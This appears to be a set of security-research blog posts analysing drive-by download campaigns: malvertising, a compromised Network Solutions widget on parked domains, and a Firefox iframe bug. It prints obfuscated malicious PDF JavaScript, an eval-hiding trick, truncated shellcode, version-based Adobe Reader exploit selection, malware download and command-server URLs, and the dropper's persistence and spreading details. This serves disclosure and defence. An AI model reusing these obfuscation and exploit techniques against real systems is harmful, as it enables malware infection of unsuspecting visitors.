YYY}YYY\rYYY\nYYYeYYYlYYYsYYYeYYY YYYiYYYfYYY YYY(YYY(YYYlYYYvYYY YYY>YYY=YYY YYY9YYY.YYY1YYY)YYY YYY|YYY|YYY YYY(YYYlYYYvYYY YYY<YYY=YYY YYY9YYY.YYY2YYY)YYY YYY|YYY|YYY YYY(YYYlYYYvYYY YYY>YYY=YYY YYY8YYY.YYY1YYY3YYY)YYY YYY|YYY|YYY YYY(YYYlYYYvYYY YYY<YYY=YYY YYY8YYY.YYY1YYY7YYY)YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYnYYYpYYYlYYYaYYYyYYYeYYYrYYY(YYY)YYY;YYY\rYYY\nYYY YYY YYY}YYY\rYYY\n';th("var oesfeufxntyi = cwyuvaooeo.re"+"pla"+"ce(/[Y]/g,'');");/* avqjavi766743 = 60; <owzeuouz106118> */var ugyolugwu968354 = "_e75af8ac39f";/* vuyiua152184 = 76; <zriefda431629> */var iuoeonh343430 = "_21d716ac020";var evaiwueei264011 = "_7ed30974517";/* rlaoaya455073 = 95; <geaaoo654855> */var iuzxgj474859 = "_3046be797c0";var pewzyahmfb544339 = "_8bdfb70b60f";/* seiiaue71607 = 39; <unzoe856710> *//* yuydi485926 = 1; <dkykz871039> */var pgsinuunf = 100;/* hucrbdit453671 = 76; <nyyrrazqy740615> *//* namdkey949757 = 64; <yzdee833418> */var vuveioae876679 = "_0328e8fa935";/* iuoytl56881 = 46; <oiowiea705586> *//* ntpadaq590040 = 38; <ovkcjaka633301> */var gpyousxo = '';/* auomgyoed16943 = 82; <mumaa309375> */var xaeuhifje753328 = "_16533722a29";/* kmuiuayg202152 = 98; <asuuhlhy426995> *//* upcowvqa721683 = 3; <aydaeauo365685> */sauavlepu0 = oesfeufxntyi;var ayuyg642660 = "_15f35fef3a2";/* uedaeig772200 = 27; <oucyueo443122> *//* uyqota442513 = 52; <iyxuoa210597> *//* eyaye796590 = 43; <iaooywuv348521> */for(alookaaraaio=0;alookaaraaio<pgsinuunf;alookaaraaio++) {var vauiauyyfcfi = 'function a1106889858(fa) {return fa;} var a266415535 = 281772104;function a454936894(fa) {return fa;} var a289990746 = 1206395987;function a606709841(fa) {return fa;} var a814629542 = 809599932;function a975519308(fa) {return fa;} var a73837795 = 418139819;function a1311395772(fa) {return fa;} var a102714415 = 1168743178;function a457025328(fa) {return fa;} var a106369175 = 824445897;';var vauiauyyfcfi = vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi;var vauiauyyfcfi = vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi;var dsfsg = alookaaraaio+1;gpyousxo = 'var sauavlepu'+dsfsg+'=sauavlepu'+alookaaraaio+';'+vauiauyyfcfi+''+vauiauyyfcfi+''+vauiauyyfcfi+'';th(gpyousxo);}th(sauavlepu100);var okyyyornb516688 = "_3ffdcb9f05e";var pquxtoa762840 = "_68a883464be";/* yryeie384069 = 97; <aeyoboeaa202244> */
//</ACRO_script>
//</Document-Actions>

The obfuscation was sophisticated, showing the involvement of heavy manual effort. The javascript code is encoded with ASCII85Decode.

First, the deobfuscation function:

function ghfsdj(adbhsdh)
{
var jfsd = "gas%ss2u";
return adbhsdh.split("&&").join(jfsd[3]+jfsd[7]);
}
The shellcode snippets below are obfuscated with the function:

shcode_geticon = ghfsdj("&&D2CE&&D6D2&&899C&&C589&&CAC9&&C...");
shcode_newplayer = ghfsdj("&&D2CE&&D6D2&&899C&&C589&&CAC9&&CBC..");
shcode_printf = ghfsdj("&&D2CE&&D6D2&&899C&&C589..");
shcode_collab = ghfsdj("&&D2CE&&D6D2&&899C&&C589&&CA..");

The deobfuscation function replaces && prefixes with %u. And then, an interesting trick is used to hide the use of the eval() function from pattern-based detection:

var ev = 'yeegsgvsssaglh';
..
this[ev.charAt (2) + ev.charAt (6) + ev.charAt (10) + ev.charAt (12)] ('var th = thi' + 's[\'ev\'+\'\'+\'al\'];');

The decoded javascript contains several pieces of exploit code for the different vulnerabilities below:

a) Adobe Reader and Acrobat 9.x Doc.media.newPlayer ()

b) Adobe Acrobat and Reader util.printf (CVE-2008-2992)

c) Adobe Reader and Adobe Acrobat 9 GetIcon (CVE-2009-0927)

d) Adobe Reader GetMailInfo (CVE-2007-5659)

The javascript below checks for a matching version of exploitable Adobe Reader and if found, triggers the corresponding exploit:
aPlugins = app.plugIns;
var sv=parseInt(app.viewerVersion.toString().charAt(0));
for (var i=0; i < aPlugins.length; i++)
{
if (aPlugins[i].name=="EScript")

{
var lv=aPlugins[i].version;
}
}
if ((lv==9)||((sv==8)&&(lv<=8.12)))
{

geticon();
}
else if (lv==7.1)
{
printf();
}
else if (((sv==6)||(sv==7))&&(lv<7.11))
{
collab();
}
else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17))
{
nplayer();
}

Initial detection rate of this PDF was extremely low--2 out of 42 on VirusTotal. Got a little better now but not much.

Upon successful exploitation, shellcode is executed and the browser downloads and runs the following two executables:
1. file.exe (HDD Plus), from: http://colemuns.com/pupseg/forum.php?f=MDAC&key=92e93d0553cdb3c89d7d397457811f6d&u=root, Virus Total results here.
2. 461-direct.exe (backdoor), from: http://searchjewel.org/any5/461-direct.exe, Virus Total results here.

Note that the binaries, and the ways that they were obfuscated, kept on changing for the past few days.

Another installed malware is the Kazy downloader; see the VirusTotal report here.

Actually, the exploits themselves kept on changing, too. When we first detected this on Dec 3rd, it was serving only one exploit--CVE-2010-0806, and it wasn't from colemuns.com, but from thjlnqbtgdw.com and pbcplifpgdw.com. During this time, the NeoSploit exploit pack was used instead of the later Eleonore-like pack.

Part 2--rad.msn.com case study

Malvertising by ADShufffle on rad.msn.com started later than DoubleClick; however, the behavior is quite the same.

Upon visiting a website that is serving banners from rad.msn.com, for example mail.live.com, msnbc.com, or realestate.msn.com, the browser is presented with an ad tag for a 728x90 banner ad from rad.msn.com:
<script type="text/javascript" src="http://rad.msn.com/ADSAdClient31.dll?GetSAd=&DPJS=4&PN=MSFT&PG=REAB01&AP=1390" onreadystatechange="startTimer();"></script>

Here rad.msn.com throws out some obfuscated javascript, which decodes to:
<script type="text/javascript" src="http://this.content.served.by.adshufffle.com/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_D7mmLupb1TWfhr91mfhH0/view.js/?sid=23444436&lpd=${REQUESTID}&ASTPCT=${CLICKURL}"><script>

Which causes the browser to load from adshufffle. The actual 728x90 banner ad, which is again, illegally copied, is http://media.topsann.com/bdb/aBigCommerce/728x90stat.gif:

And the rest is similar.

At Armorize we've been developing technologies to detect drive-by downloads starting in the 2000, with our first major publication released in 2003 at the WWW Conference. In 2007, we acquired X-Solve to pushed out our drive-by download detection service, HackAlert. Recently, we released a new version of HackAlert--HackAlert SafeImpression, which is geared towards malvertising detection and ease of use by the online media industry.
If you are interested in any information, please email us at wayne@armorize.com
Part 2 of the story: About HDD Plus spreading also through OpenX vulnerabilities, and a guy behind all this
Read more (rest of article)...

Parked domain numbers and traffic, and more on the exploits served

(by Wayne Huang of Armorize)
We received a number of questions on details of malicious parked domains incident, so let us give some clarifications on the questioned issues.

The scale and impact of incident.

We strongly believe that the number of potentially impacted users is high. There were some misunderstanding that the widget was serving only to Asian IPs. No, the widget was serving once per IP, to all IPs worldwide.

We studied two references to external components, which are rendered by browsers when a parked domain page is loaded. One component is loading a javascript snippet from asiappc.com and is only served to visitors coming from Taiwan or Hong Kong. Another component is loading a widget from a compromised system and is served to any visitor world-wide.

The first component (asian) includes a reference to a counter. Therefore we are can observe volume of traffic from asian IP addresses. The second component is loaded from a compromised system and serves malware via injected iframe once per each unique IP address. As of this moment we are not able to obtain any statistics on this component but we can infer and estimate the numbers using other known factors.

The affected platform
We briefly covered it in our part 1 post, the widget directs the browser to load content from the following exploit server:
...omitted...
<iframe frameborder=0 src="http://96.30.16.216:8037/exemple.com/" width=1 height=1 scrolling=no></iframe>

This URL is still active right now, and is serving Eleonore version 1.3.1:


Eleonore exploit pack (a bundle of exploits with some programmatic logic behind), as most browser exploit packs, tries to serve the "right" exploits to corresponding browsers. This particular version of the bundle targets vulnerabilities in following software: Adobe Reader, Java(cross-browsers), Internet Explorer, Firefox, and Opera. Below is the of included exploits (we'll update the post later to add hyperlinks for the above; sorry for now):

MDAC
MS009-02
ActiveX pack
CompareTo
JNO (JS navigator Object Code)
MS06-006
Font tags
Telnet
PDF collab.getIcon
PDF Util.Printf
PDF collab.collectEmailInfo
Java D&E
Soc pack (iframe ver)

Average infection rates are: 5-17% on North American traffic, and 10-25% on .ru traffic.

Now, the detailed explanation on number of domains and the impact:

The number of visits to these parked domains and actual traffic volume touches a sensitive topic--parked domain monetization. According to Wikipedia's definitions, "Domain parking may also refer to an advertising practice known as parked domain monetization,[1] used primarily by domain name registrars and Internet advertising publishers to monetize type-in traffic visiting a parked or minimally developed domain name.."

How much traffic, and hence money, does this strategy brings? Reference [1] in the above Wikipedia page pointed to ICANNWiki's "Domain Parking" definition:

quote:
"
According to a November 17, 2005 Wall Street Journal article, "revenue from text ads on these sites will total $400 million to $600 million world-wide this year and may reach $1 billion by 2007, according to Susquehanna Financial Group analysts Marianne Wolk and Roxane Previty, who track the online ad industry."
"

How many visitors do we need in order to generate this type of revenue from per-click ads? A lot.

The refered WJS article is available here. There are also other similar market reports. Another interesting number is mentioned here: CircleID: "According to Ram Mohan from Afilias, 3 of the big 5 registrars say that they make over $5m-$8m / year from parked domain monetization pages."

You can also find random forum posts by PPC "businessmen" who generate their revenue through parked domain services:register three digit impressions.

Nevertheless, it's long been a debate (for example here) on the legality of such business, or whether search engines should index parked domains, and if so, how many pages per parked domain should be indexed. In our last post, we provided this link, which showed that Yahoo Search indexes more than 5 million Network Solutions parked domains. Now, only after a few days, clicking on the same page shows only 6 results. If we enter the same search phrases into Bing, it's the same--6 results.

If we want to fight parked domain monetization (do we? should we?), not indexing these pages is definitely a good effort on the part of the search engines.

But the question remains--so what's the number??

We can use the following calculation approach:

  • Submit key terms to search engines to make the search engines dump out (only) the parked domains in the search results.
  • Sequentially click and analyze the returned URLs.

In our brief experiment, we identified more than a hundred parked domains, and with only 3 of the domains not serving malicious widget at the time of our initial report.

To validate, let's assume that there is only 1,000,000 of parked domains. And then let's assume that out of them only 120,000 were infected. Then the probability for us to click on an arbitrary search result and hit an infected page, would be 120,000 * 100 / 1,000,000 = 12%. This certainly wasn't the case as seen in the video we posted earlier.

Another approach:
The script served by asiappc.com on the default parking page is served only to visitors with IPs located in two geographic regions--Taiwan, and Hong Kong. That script pulls in a public Web analytics service--51.la. The account used does not require a password to view statistics. This analytics account was registered on Feb 5th of this year, and although it is serving to (and therefor recording) only IPs coming from Taiwan and Hong Kong, it still shows a number of 1187301 unique IP visits in total, with only 5316 visits today. This sheds light into just how much traffic the default parking page might be generating in total.

Let us illustrate this with a few screenshots. First screenshot shows that most visitors come from either Taiwan or Hong Kong. One of the server-sides scripts is responsible for determining this, and it of courses uses a different GeoIP database than the one used by the analytics service, and that's why you see that there are still 11% coming from the US--these 11% of IPs are believed to come from either Taiwan or China by the server-side script, but the analytics service believes they come from the US:

So, how many average page views per day? Let's look at the web analytics again. Note that this script is included in many other hosting companies' default parking pages:

According to the analytics, there is an average number of 14,073 page views per day.
According to InternetWorldStats.com, Taiwan and Hong Kong contributes to 2% and 0.6% of Asia's Internet population (China is 50.9%), respectively. Together they make 2.6% of Asia's traffic. Since Asia makes up 42% of the Internet population, Taiwan plus Hong Kong traffic make up 2.6% * 42% = 1.1% of all traffic to all the parking pages that include this particular script.

So 14,073 daily page views / 1.1% = 1,279,363 page views per day--over one million potential daily "parking" page views. Even if Network Solutions contribute to only 1/10th of the parking domains traffic, this is still 127,936 page views per day, that was served with malware, for a long period of time.

What's interesting here, is the fact that what seems to be very little traffic per domain, actually accumulates to a significant volume. If we take a look at the referer rankings, only the top 2 referers (parking pages) had three digit daily page views!

Furthermore, this is the total number of accumulative page views that was served with malware. Slashdot user noc007 commented about our research comments:
===============
"I thought this was a known fact Network Solutions' parked pages served malware in one form or another. Back in July of last year I got some questions from an executive why the domain the company recently registered for was being blocked by the corporate web content filter. Turns out the Network Solutions parked page had an iframe that was serving malware from kolmic.com. I explained it and provided the parked page's html code with the offending code highlighted.

Doing some Google searches showed that I wasn't the only one that had noticed this."
===============

Followed by The-Blue_Clown:
===============
"I had the same exact experience. The only issue was I had an exec that wasn't going to be pushed around by the IT guys. She ordered the filter relaxed. I only got my way when i told her i needed all such requests in writing as she was assuming the known risk i had just finished explaining to her."
===============

We also mentioned similar incidents in the past. In fact, we've seen the same infected widget on a parked domain back in May--we simply did not realize it was on all default parked pages.

The key difference from typical injection attacks that we've seen in the past, such as the recent Apple.com hit by mass SQK injection incident is that such injections are usually cleaned up very quickly.

For large websites, sometimes within a day.

In contrast to that, a persistent injection against a widget or an online ad script on "parked domains"--domains which all together can add up to more than a million page views per day--went unnoticed for for months.

So to conclude, this time we've learned:

1. Parked domains do draw significant traffic, and that's why there's the parked domain monetization business.
2. Since there's traffic, criminals will try to infect parked domains.
3. In this case study, although only two parked domains had three digit daily page views, the daily page view can be over one million. This is due to the sheer large number of parked domains.
4. Compared to another vector for mass spreading drive-by downloads--mass SQL injections, infecting parked domains can result in longer lifespan of the infection, and hence potentially larger accumulative traffic, and hence a potentially larger number of vinctims.
5. Compared with infecting high traffic domains, mass infecting a large number of parked domains may yield comparable or even better accumulative page views. The infection may have a longer life span.
6. Compared to mass SQL injections, compromising a hosting platform allows for much better control of when and what to serve, or not to serve. With a webshell, the attacker can decide to activate serving of malware any time, and also deactivate any time.
*. We note that infecting parked domains can be done via compromising hosting systems or widgets (like this case study), or via malvertising.

An interesting question is: if all parked domains together generate as much traffic as a major website, then which infection will live longer? When you visit a major website and your (good) antivirus alerts you of malware, you tend to want to look into it and perhaps also report it. That's why large websites rarely get away with the public knowing about their infections.

When you visit a parked domain and your antivirus alerts you, would you bother reporting it?

Regardless of the answer, the widget had significant traffic, and it was there serving Eleonore at least since may. That's what we learned this time.

Infections to high traffic domains may generate big news, but it may not be the primary contributor of botnet growth. With respect to drive-by downloads spreading malware, persistent growth of botnets come from the millions of infected pages on the Internet. The challenge lies in how to infect these pages, how to keep them infected, and how to keep security vendors from finding out. Once security vendors find out, patterns are added, antivirus alerts, infection rates drop, the infected domains are fixed, the exploit serving domains are taken down, and the means to spread malware ends. Mass SQL injections and attacks against high traffic domains, though can infect a large number of visitors initially, have a short tail because such efforts are likely to be spotted very quickly.

Infecting parking domains, as in this case study, provided the attackers with a means to still just use a single infection vector to infect a large number of domains, while at the same time, keep the public's attention low enough so the infection can have a very long life span, and hence high accumulative page views, and hence a large number of infections.

Every day, HackAlert continues to generate plenty of records of infected URLs, and we do look into those infected URLs whose Alexa scores are high. But our domain correction mechanism apparently isn't sophisticated enough to automatically alert us of a potential hosting provider compromise. That's why this time, our findings came from a manual investigation effort, which was initiated because we were strongly questioned by one of our clients on why we were flagging some parked pages. We should start to improve this.

Finally, based on the scope of this incident and the surrounding incidence response efforts, we were impressed with Network Solutions speed and honesty. We sent Shashi, their Blogger Relations Manager, a tweet, to which is responded very quickly. Later, by reading his tweets, we realized that he was on vacation (and it was on a weekend). He was on phone with us shortly, and a couple of hours later the widget was disabled. They made no attempt to hide the fact, and published a blog timely. Although we disagree on the number of infected domains, we felt they handled this particular incidence very well.

The beginning of year saw attacks increasing targeted at hosting companies; many of which fell prey and as a result, multiple hosted websites / blogs served malware for a period of time. Drive-by downloads can be massively spread via mass SQL injections, hosting platform compromises, widget infections, parked domain mass infections, LAN man-in-the-middle, and WAN man-in-the-middle. From our observation, the number of attempts to mass-spread drive-by downloads continues to rise. Web owners and hosting providers should be alerted, and also realize that a great deal can be learnt from past incidents.
Read more (rest of article)...

IFrames and URL Stringency - Mozilla Firefox Bug

Updated: A relative POC is released HERE

The inline frames play a crucial part in sharing and delivering third party content through them. But this is also a hardened fact that Iframes are used effectively by malware writers to spread infection across domains in a hidden manner. But the question is , Do browsers play significant role in this?

The URL obfuscation is a big stringency in the online world. Actually, it tests the browser efficiency to dissect the behavior of crafted URL. That has to be done. The browsers have shown a rogue behavior in determining the source and destination of URL's when it is obfuscated or fused with meta characters. This is dangerous from a user perspective because a victim can go to undesired destination. Well, lot of changes have been noticed in browser development with respect to that but in certain conditions , browsers still fail to find the authentic nature of URL's being rendered in the browser. A Google Chrome URL Obfuscation Vulnerability can be seen HERE

Further, a recent bug has been posed to BugZilla ID - 570658 regarding the behavior of IFrames and Frames handling the URL obfuscation. Firefox implements a notification alert to user when a obfuscated URL is used in the address bar as follows



On performing analysis of various malware, a bug has been noticed in all version of Firefox which fails to generate an alert when obfuscated URL is being placed in Iframes. In certain cases, it can be used effectively in spreading malware and stealing sensitive information. While discussions on BugZilla, it is noticed that Firefox behavior is completely different in these two scenarios which should not happen. The bug is in open state now. The major improvements can be seen in the following trunk

nsHttpChannel::ConfirmAuth()

A generic POC can be considered as

[iframe src="http://www.example.com@malware.com" width="600" height="600" /];

May be it is considered as a fact that frames are not shown directly but this is a bug by behavior. We can expect some changes in coming time regarding this falsified behavior.
Read more (rest of article)...

More than 500,000 (or 5,000,000 according to Yahoo) Network Solutions parked domains actively serving malware

(by Wayne Huang, Chris Hsiao, NightCola, and other Armorize colleagues)
(see Part 1 here)
(please see our follow-up post if you have time)

A few days ago, in response to questions by one of our largest customers, we analyzed a widget by Network Solutions, confirmed that it was infected, and published the last blog "SMCI widget and growsmartbusiness.com by Network Solutions still serving malware."

It was actually a report that we wrote for this customer, to assure them that although other detection mechanisms aren't flagging, that we are rightfully flagging these pages as malicious.

Soon after publishing the blog, we realized that it was the same widget that got the boingboing.com parked domain infected, which we blogged about back in May.

Yesterday I had some time to sit down and study this widget further, and discovered something critical--it's a part of the standard domain parking page of Network Solutions.

And so, just how many domains (not pages) are currently affected and serving malware?

More than 500,000 domains, according to Google:

According to Yahoo, add a zero to that, at least 5,000,000 domains:

I didn't have time to click on every single one of them, but I clicked on enough to conclude that, all of them are indeed infected, via the same widget we blogged about a few days ago. Also, neither Google or Yahoo actually shows all results. Google shows the first 45 pages only, and Yahoo shows the first 100 only. So we couldn't really go through all the domains one by one...and 5 million is too large a number for manual verification anyways.

Deciding to look a bit deeper to see if there are other infections, I realized that there is. The behavior is quite the same as our boingboing.com alert back in May.

One infection, in addition to the widget, is this:
<script src=" http://www.asiappc.com/sp/newskbanner/728x90.js" language="JavaScript" charset="gb2312"></script>                   


Analyzing this and comparing traffic logs of the boingboing.com post back in May, we concluded the the attacker uses the following free traffic analysis services, which are the two most popular choice among attackers in greater China--cnzz and 51.la. Specifically, the following accounts are used:

1. 51.la ID 3542139
2. cnzz.com ID 1803216

Since both accounts were registered with handle "skbanner," we assume it's not multiple infections by different attackers but the same attacker using two counters. The 51.la account can be accessed:

First, the account was registered on Feb 5th. A day later, on Feb 6th, Tata Consulting Services, who uses Network Solutions as domain registrar, had their DNS records manipulated, according to TechCrunch and other media. This all happened shortly after Jan 19th, when Network Solutions publicly addressed that some of their sites have been hacked and they are addressing the problem.

The 51.la "skbanner" counter recorded 2,683,120 accumulative page views--that's a lot of victims out there.

The highest page view was seen on April 3rd, 2010. This time frame is close to the largest incident in this series--on April 7th, WordPress admins started to post on the WordPress Forum complaining that their WordPress on Network Solutions has been compromised and were serving malware. That thread had 151 posts total.

Network Solutions acknowledged the problem on April 9th with a blog post Alert: WordPress Blog & Network Solutions. If these events were associated, then sometime in early April the attacker group must have decided to leverage the control they had of Network Solutions, and massively injected malicious content not into the default parked domain page, but rather, into the hosted WordPress blogs and / or websites.

It's concerning that this series of compromises happened starting Jan of this year, and today we are still seeing more than 500,000 Network Solutions domains actively serving malware as we write.

We also just registered a domain, armorizetest.com, with Network Solutions, and verified that it indeed actively serves malware the moment that it's up. Here's what we did:

First we paid for our domain:



Then we set it to park using the "standard construction page":

It's done. We connect to our newly purchased and parked domain, and as you can see, the fake (and malicious) QQ messagebox pops up, and the compromised (and malicious) Network Solutions SMCI widget is there, too. From the traffic, yes, it's serving malicious content, which is the same as described in our last blog post.

One of the dropped malware executable is: C:\Documents and Settings\Administrator\Application Data\SystemProc\lsass.exe
The hidden directory SystemProc is created by a javascript exploit.

VirusTotal says that the detection rate by antivurs companies for this lsass.exe file is exactly 50%--21 out of 42 antivirus solutions can detect this file.

We have prepared a demo video here:


Follow-up:
We have managed to get in touch with Network Solutions, and within less than three hours, they have acted and taken down the widget. Actually, they have commented the code out, so you can still see it if you "view source."

At the same time, while trying to figure out the exact number of affected domains, we realized that Yahoo is probably more correct on this--it was more than five million domains! Here's a video:


Finally, as to the dropped malware lsass.exe itself, here's what it does (credits to Chris Hsiao):
When run, itcreates the following components:
========================================================
%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\install.rdf
%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\chrome.manifest
%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\chrome\content\timer.xul
%USERPROFILE%\Application Data\SystemProc\lsass.exe

The following registry key is added in order to auto start itself after reboot:
=========================================================
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"RTHDBPL" = "%appdata%\SystemProc\lsass.exe"

It monitors the following Web browsers:
=========================================================
Explorer
Opera
Chrome
Firefox

User searches using the following search engines are redirected to another Web site:
===========================================================
Google
Ask
Yahoo!
AOL
Bing

It monitors the following search terms and pops up advertisement accordingly:
============================================================
cialis
pharma
casino
finance
mortgage
insurance
gambling
health
hotel
travel
antivirus
antivir
pocker
poker
video
baby
bany
porn
golf
diet
vocations
design
graphic
football
footbal
estate
baseball
shop
books
gifts
money
spyware
credit
loans
loan
dating
ebay
myspace
virus
film
ipod
verizon
amazon
iphone
software
movie
mobile
bank
music
cars
craigslist
game
sport
medical
school
wallpaper
military
weather
twitter
fashion
spybot
trading
tramadol
yobt
flower
cigarettes
doctor
flights
airlines
comcast

It searches for the following directories:
======================================================
C:\program files\winmx\shared\
C:\program files\tesla\files\
C:\program files\limewire\shared\
C:\program files\morpheus\my shared folder\
C:\program files\emule\incoming\
C:\program files\edonkey2000\incoming\
C:\program files\bearshare\shared\
C:\program files\grokster\my grokster\
C:\program files\icq\shared folder\
C:\program files\kazaa lite k++\my shared folder\
C:\program files\kazaa lite\my shared folder\
C:\program files\kazaa\my shared folder\

If any of the above directories are found, it duplicates itself (lsass.exe) into the directories. It renames itself into the following names:
===========================================================
YouTubeGet 5.6.exe
Youtube Music Downloader 1.3.exe
WinRAR v3.x keygen [by HiXem].exe
Windows2008 keygen and activator.exe
[+ MrKey +] Windows XP PRO Corp SP3 valid-key generator.exe
Windows Password Cracker + Elar3 key.exe
[Eni0j0 team] Windows 7 Ultimate keygen.exe
Windows 2008 Enterprise Server VMWare Virtual Machine.exe
Winamp.Pro.v7.xx.PowerPack.Portable+installer.exe
Website Hacker.exe
[Eni0j0 team] Vmvare keygen.exe
VmWare 7.x keygen.exe
UT 2003 KeyGen.exe
Twitter FriendAdder 2.3.9.exe
Tuneup Ultilities 2010.exe
[antihack tool] Trojan Killer v2.9.4173.exe
Total Commander7 license+keygen.exe
Super Utilities Pro 2009 11.0.exe
Sub7 2.5.1 Private.exe
Sophos antivirus updater bypass.exe
sdbot with NetBIOS Spread.exe
[fixed]RapidShare Killer AIO 2010.exe
Rapidshare Auto Downloader 3.8.6.exe
Power ISO v4.4 + keygen milon.exe
[patched, serial not needed] PDF Unlocker v2.0.5.exePDF-XChange Pro.exe
[patched, serial not needed] PDF to Word Converter 3.4.exe
PDF password remover (works with all acrobat reader).exe
Password Cracker.exe
Norton Internet Security 2010 crack.exe
Norton Anti-Virus 2010 Enterprise Crack.exe
Norton Anti-Virus 2005 Enterprise Crack.exe
NetBIOS Hacker.exe
NetBIOS Cracker.exe
[patched, serial not need] Nero 9.x keygen.exe
Myspace theme collection.exe
MSN Password Cracker.exe
Mp3 Splitter and Joiner Pro v3.48.exe
Motorola, nokia, ericsson mobil phone tools.exe
Microsoft.Windows 7 ULTIMATE FINAL activator+keygen x86.exe
Microsoft Visual Studio KeyGen.exe
Microsoft Visual C++ KeyGen.exe
Microsoft Visual Basic KeyGen.exe
McAfee Total Protection 2010 [serial patch by AnalGin].exe
Magic Video Converter 8.exe
LimeWire Pro v4.18.3 [Cracked by AnalGin].exe
L0pht 4.0 Windows Password Cracker.exe
K-Lite Mega Codec v5.2 Portable.exe
K-Lite Mega Codec v5.2.exe
Keylogger unique builder.exe
Kaspersky Internet Security 2010 keygen.exe
Kaspersky AntiVirus 2010 crack.exe
IP Nuker.exe
Internet Download Manager V5.exe
Image Size Reducer Pro v1.0.1.exe
ICQ Hacker Trial version [brute].exe
Hotmail Hacker [Brute method].exe
Hotmail Cracker [Brute method].exe
Half-Life 2 Downloader.exe
Grand Theft Auto IV [Offline Activation + mouse patch].exe
Google SketchUp 7.1 Pro.exe
G-Force Platinum v3.7.6.exe
FTP Cracker.exe
DVD Tools Nero 10.x.x.x.exe
Download Boost 2.0.exe
Download Accelerator Plus v9.2.exe
Divx Pro 7.x version Keymaker.exe
DivX 5.x Pro KeyGen generator.exe
DCOM Exploit archive.exe
Daemon Tools Pro 4.8.exe
Counter-Strike Serial key generator [Miona patch].exe
CleanMyPC Registry Cleaner v6.02.exe
Brutus FTP Cracker.exe
Blaze DVD Player Pro v6.52.exe
BitDefender AntiVirus 2010 Keygen.exe
Avast 5.x Professional.exe
Avast 4.x Professional.exe
Ashampoo Snap 3.xx [Skarleot Group].exe
AOL Password Cracker.exe
AOL Instant Messenger (AIM) Hacker.exe
AnyDVD HD v.6.3.1.8 Beta incl crack.exe
Anti-Porn v13.x.x.x.exe
Alcohol 120 v1.9.x.exe
Adobe Photoshop CS4 crack by M0N5KI Hack Group.exe
Adobe Illustrator CS4 crack.exe
Adobe Acrobat Reader keygen.exe
Ad-aware 2010.exe
[patched, serial not needed] Absolute Video Converter 6.2-7.exe

It retrieves the following URLs to fetch commands and download more malware (link currently not working):
======================================================
http://updrandomhottys.com/update.php?sd=2010-03-23&aid=blackout
http://updrandomhottys.com/inst.php?aid=blackout


(please see our follow-up post if you have time)
Read more (rest of article)...

SMCI widget and growsmartbusiness.com by Network Solutions still serving malware, part 1/3

by Wayne Huang, NightCola Lin, Chris Hsiao of Armorize.
(Please see follow-up post: More than 500,000 Network Solutions parked domains actively serving malware)
Screenshot 1

The beginning of this year saw mass Web hosting compromises across numerous hosting providers; thousands of websites were compromised via vulnerabilities in shared hosting providers and as a result, were serving malware. We thought eventually everything would be cleaned up and everyone's operations would be back to normal--but it seems that didn't happen... yet.

Recently a lot of our HackAlert customers are still flagged (by HackAlert) to be serving malware. We noticed a particular group of them today--those that have installed the "Small Business Success Index" widget by Network Solutions. There are two ways one can install the widget into one's website or blog--via the one-click installation script offered by Widgetbox (as seen in Screenshot 1 above), or by directly visiting Network Solution's growsmartbusiness.com (Screenshot 2 below).
Screenshot 2

We quickly registered a Google Blogger account and verified that whoever installed this widget, will be serving malware as of now. Although Widgetbox is only one website providing an installation script for this widget, this site alone has recorded 5,371 installations (yes that "1" is us) already (see Screenshot 1 above). This means more than five thousand sites may be affected.

Here are the steps we went through in our verification process. We first went to Widgetbox and clicked on the "Install Widget" button as seen in Screenshot 1. A popup showed us the javascript to embed, as well as one-click-install buttons for Facebook, Blogger, Twitter, iGoogle, WordPress, LinkedIn, my Yearbook, etc. Yikes:
Screenshot 3

We clicked on "Blogger" and it worked--our armorizetest blog now has the widget installed:
Screenshot 4

Clicking on "Edit" shows the widget's javascript code--it's loading the javascript from cnd.widgetserver.com:
Screenshot 5

Visiting our test blog now shows the widget:
Screenshot 6

And now, our blog is officially serving malware. Scanning this test blog with HackAlert shows that our blog is indeed serving malware now. Here's the traceback:

1. in http://armorizetest.blogspot.com,
<script type="text/javascript" src="http://cdn.widgetserver.com/syndication/subscriber/InsertWidget.js"></script><script type="text/javascript">if (WIDGETBOX) WIDGETBOX.renderWidget('68804a4e-6a5a-444c-b0d7-efdced64bee1');</script>

2. http://cdn.widgetserver.com/syndication/subscriber/InsertWidget.js,
if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"39866",urls:{runtimeBaseUrl:"http://widgetserver.com/syndication",...,markupRuntimeBaseUrl:"http://markup.widgetserver.com/syndication",...},

3. http://cdn.widgetserver.com/syndication/subscriber/Main.js?39866, code omitted

4. http://markup.widgetserver.com/syndication/get_widget.html?widget.appId=68804a4e-6a5a-444c-b0d7-efdced64bee1&widget.regId=390f0daf-4998-474c-b207-a6398f278681&widget.friendlyId=small-business-success-index&widget.name=Small%20Business%20Success%20Index&widget.token=0ed26d5a93c23a4c798d563608b7265d07481df40000012a67400851&widget.sid=2bf65a16514f760acc18c69a3420ad34&widget.vid=2bf65a16514f760acc18c69a3420ad34&widget.id=0&widget.location=http%3A%2F%2Farmorizetest.blogspot.com%2F&widget.timestamp=1281647662457&widget.serviceLevel=0&widget.provServiceLevel=1&widget.instServiceLevel=0&widget.width=160&widget.height=300&widget.wrapper=JAVASCRIPT&widget.isAdFriendly=false&widget.isAdEnabled=false&widget.adChannels=&widget.adPlacement=&widget.ua=mozilla%2F4.0%20%28compatible%3B%20msie%206.0%3B%20windows%20nt%205.1%3B%20sv1%29&widget.output=htmlcontent
<iframe style="" height="300px" frameborder="0" style="border:none;overflow:none;" width="180px" src="http://growsmartbusiness.com/widgets/widget.php"></iframe>

